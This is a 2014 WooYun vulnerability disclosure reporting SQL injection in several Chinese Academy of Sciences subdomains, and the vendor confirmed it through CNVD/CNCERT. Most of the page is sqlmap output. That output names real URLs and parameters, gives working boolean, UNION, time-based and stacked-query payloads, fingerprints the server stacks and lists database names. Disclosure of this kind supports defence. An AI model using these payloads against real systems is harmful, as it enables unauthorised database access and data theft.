当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-063437

漏洞标题:中国科学院sql大礼包

相关厂商:中国科学院

漏洞作者: Mosuan

提交时间:2014-06-04 11:53

修复时间:2014-07-23 19:48

公开时间:2014-07-23 19:48

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-04: 细节已通知厂商并且等待厂商处理中
2014-06-08: 厂商已经确认,细节仅向厂商公开
2014-06-18: 细节向核心白帽子及相关领域专家公开
2014-06-28: 细节向普通白帽子公开
2014-07-08: 细节向实习白帽子公开
2014-07-23: 细节向公众公开

简要描述:

女神是什么?

详细说明:

就像cnvd说的一样,安全是一个过程,可是TM的,你居然所有分站都存在注入点,还是科学院呢,不害臊?我的麒麟臂又要发作了......
数据库懒得跑完了,实在没劲,全站都存在注入,懒得看了!

注入地址:http://amd.sinano.ac.cn/news_show.php?id=1
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 00:37:54
[00:37:54] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\amd.sinano.ac.cn\session' as session file
[00:37:54] [INFO] testing connection to the target url
[00:37:54] [INFO] testing if the url is stable, wait a few seconds
[00:37:56] [INFO] url is stable
[00:37:56] [INFO] testing if GET parameter 'id' is dynamic
[00:37:56] [INFO] confirming that GET parameter 'id' is dynamic
[00:37:56] [INFO] GET parameter 'id' is dynamic
[00:37:56] [INFO] heuristic test shows that GET parameter 'id' might be injectab
le (possible DBMS: MySQL)
[00:37:56] [INFO] testing sql injection on GET parameter 'id'
[00:37:56] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:37:59] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVI
NG clause' injectable
[00:37:59] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[00:37:59] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[00:38:00] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[00:38:10] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' in
jectable
[00:38:10] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[00:38:11] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[00:38:13] [INFO] target url appears to have 25 columns in query
[00:38:21] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 10 colu
mns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any
)? [y/N] y
sqlmap identified the following injection points with a total of 55 HTTP(s) requ
ests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 3349=3349 AND 'qgij'='qgij
Type: UNION query
Title: MySQL UNION query (NULL) - 25 columns
Payload: id=-7559' UNION SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL, NU
LL, CONCAT(0x3a6566673a,0x53487867724a696d6d43,0x3a6868663a), NULL, NULL, NULL,
NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL# AN
D 'uFzJ'='uFzJ
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=1' AND SLEEP(5) AND 'QWfP'='QWfP
---
[00:38:33] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS
web application technology: Apache 2.2.15, PHP 5.3.15
back-end DBMS: MySQL 5.0.11
[00:38:33] [INFO] fetching database names
[00:38:33] [INFO] the SQL query used returns 2 entries
[00:38:34] [INFO] retrieved: "information_schema"
[00:38:34] [INFO] retrieved: "xjcl1120"
available databases [2]:
[*] information_schema
[*] xjcl1120
[00:38:34] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\amd.sinano.ac.cn'


注入地址:http://ilab.sinano.ac.cn/ktz/research.php?sid=3
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 00:39:20
[00:39:20] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\ilab.sinano.ac.cn\session' as session file
[00:39:20] [INFO] testing connection to the target url
[00:39:20] [INFO] testing if the url is stable, wait a few seconds
[00:39:22] [INFO] url is stable
[00:39:22] [INFO] testing if GET parameter 'sid' is dynamic
[00:39:22] [INFO] confirming that GET parameter 'sid' is dynamic
[00:39:22] [WARNING] GET parameter 'sid' appears to be not dynamic
[00:39:25] [INFO] heuristic test shows that GET parameter 'sid' might be injecta
ble (possible DBMS: MySQL)
[00:39:25] [INFO] testing sql injection on GET parameter 'sid'
[00:39:25] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:39:26] [INFO] GET parameter 'sid' is 'AND boolean-based blind - WHERE or HAV
ING clause' injectable
[00:39:26] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[00:39:26] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[00:39:26] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
parsed error message(s) showed that the back-end DBMS could be MySQL. Do you wan
t to skip test payloads specific for other DBMSes? [Y/n] y
[00:39:40] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[00:39:42] [INFO] target url appears to be UNION injectable with 10 columns
[00:39:44] [INFO] GET parameter 'sid' is 'MySQL UNION query (NULL) - 1 to 10 col
umns' injectable
GET parameter 'sid' is vulnerable. Do you want to keep testing the others (if an
y)? [y/N] y
sqlmap identified the following injection points with a total of 36 HTTP(s) requ
ests:
---
Place: GET
Parameter: sid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: sid=3' AND 2714=2714 AND 'wHpl'='wHpl
Type: UNION query
Title: MySQL UNION query (NULL) - 10 columns
Payload: sid=-8763' UNION SELECT NULL, NULL, CONCAT(0x3a786f6b3a,0x6b4161637
774516e676a,0x3a6674623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL# AND 'JpUs'=
'JpUs
---
[00:40:08] [INFO] testing MySQL
[00:40:08] [INFO] confirming MySQL
[00:40:09] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS
web application technology: Apache 2.2.15, PHP 5.3.15
back-end DBMS: MySQL >= 5.0.0
[00:40:09] [INFO] fetching database names
[00:40:09] [INFO] the SQL query used returns 2 entries
[00:40:09] [INFO] retrieved: "information_schema"
[00:40:09] [INFO] retrieved: "ilab0511"
available databases [2]:
[*] ilab0511
[*] information_schema
[00:40:09] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\ilab.sinano.ac.cn'
[*] shutting down at 00:40:09


注入地址:http://biomed.sinano.ac.cn/research.php?id=26
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 00:38:37
[00:38:37] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\biomed.sinano.ac.cn\session' as session file
[00:38:37] [INFO] testing connection to the target url
[00:38:37] [INFO] testing if the url is stable, wait a few seconds
[00:38:38] [INFO] url is stable
[00:38:49] [INFO] testing if GET parameter 'id' is dynamic
[00:38:50] [INFO] confirming that GET parameter 'id' is dynamic
[00:38:50] [INFO] GET parameter 'id' is dynamic
[00:38:50] [INFO] heuristic test shows that GET parameter 'id' might be injectab
le (possible DBMS: MySQL)
[00:38:50] [INFO] testing sql injection on GET parameter 'id'
[00:38:50] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:38:52] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVI
NG clause' injectable
[00:38:52] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[00:38:52] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[00:38:52] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[00:39:53] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' in
jectable
[00:39:53] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[00:39:54] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any
)? [y/N] y
sqlmap identified the following injection points with a total of 37 HTTP(s) requ
ests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=26' AND 3541=3541 AND 'LoXM'='LoXM
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=26' AND SLEEP(5) AND 'QVQY'='QVQY
---
[00:40:04] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS
web application technology: Apache 2.2.15, PHP 5.3.15
back-end DBMS: MySQL 5.0.11
[00:40:04] [INFO] fetching database names
[00:40:04] [INFO] fetching number of databases
[00:40:04] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[00:40:04] [INFO] retrieved:
[00:40:05] [ERROR] unable to retrieve the number of databases
[00:40:05] [INFO] falling back to current database
[00:40:05] [INFO] fetching current database
[00:40:05] [INFO] retrieved: nmyx0530
available databases [1]:
[*] nmyx0530
[00:40:15] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\biomed.sinano.ac.cn'
[*] shutting down at 00:40:15


注入地址:http://nff.sinano.ac.cn/MachineList.aspx?technicId=1
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 00:41:13
[00:41:14] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\nff.sinano.ac.cn\session' as session file
[00:41:14] [INFO] testing connection to the target url
[00:41:16] [INFO] testing if the url is stable, wait a few seconds
[00:41:18] [INFO] url is stable
[00:41:18] [INFO] testing if GET parameter 'technicId' is dynamic
[00:41:18] [INFO] confirming that GET parameter 'technicId' is dynamic
[00:41:19] [INFO] GET parameter 'technicId' is dynamic
[00:41:19] [WARNING] heuristic test shows that GET parameter 'technicId' might n
ot be injectable
[00:41:19] [INFO] testing sql injection on GET parameter 'technicId'
[00:41:19] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:41:22] [INFO] GET parameter 'technicId' is 'AND boolean-based blind - WHERE
or HAVING clause' injectable
[00:41:22] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[00:41:22] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[00:41:25] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[00:41:26] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[00:41:26] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[00:41:26] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[00:41:27] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[00:42:09] [INFO] GET parameter 'technicId' is 'Microsoft SQL Server/Sybase stac
ked queries' injectable
[00:42:09] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[00:42:09] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[00:42:09] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[00:42:50] [INFO] GET parameter 'technicId' is 'Microsoft SQL Server/Sybase time
-based blind' injectable
[00:42:50] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[00:42:51] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[00:42:52] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[00:42:52] [INFO] target url appears to have 1 columns in query
[00:42:53] [WARNING] if UNION based SQL injection is not detected, please consid
er usage of option '--union-char' (e.g. --union-char=1) and/or try to force the
back-end DBMS (e.g. --dbms=mysql)
GET parameter 'technicId' is vulnerable. Do you want to keep testing the others
(if any)? [y/N] y
sqlmap identified the following injection points with a total of 37 HTTP(s) requ
ests:
---
Place: GET
Parameter: technicId
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: technicId=1 AND 1185=1185
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: technicId=1; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: technicId=1 WAITFOR DELAY '0:0:5'--
---
[00:42:54] [INFO] testing MySQL
[00:42:54] [WARNING] the back-end DBMS is not MySQL
[00:42:54] [INFO] testing Oracle
[00:42:54] [WARNING] the back-end DBMS is not Oracle
[00:42:54] [INFO] testing PostgreSQL
[00:42:55] [WARNING] the back-end DBMS is not PostgreSQL
[00:42:55] [INFO] testing Microsoft SQL Server
[00:42:56] [INFO] confirming Microsoft SQL Server
[00:42:57] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[00:42:57] [INFO] fetching database names
[00:42:57] [INFO] fetching number of databases
[00:42:57] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[00:42:57] [INFO] retrieved: 7
[00:43:00] [INFO] retrieved: master
[00:43:18] [INFO] retrieved: model
[00:43:34] [INFO] retrieved: msdb
[00:43:49] [INFO] retrieved: NanoSystem

漏洞证明:

详细说明

修复方案:

你们懂的额!

版权声明:转载请注明来源 Mosuan@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:16

确认时间:2014-06-08 21:50

厂商回复:

CNVD确认并复现所述多个漏洞情况,已经转由CNCERT按已经建立的处置联系渠道向中国科学院计算机管理中心(中国科技网)通报。

最新状态:

暂无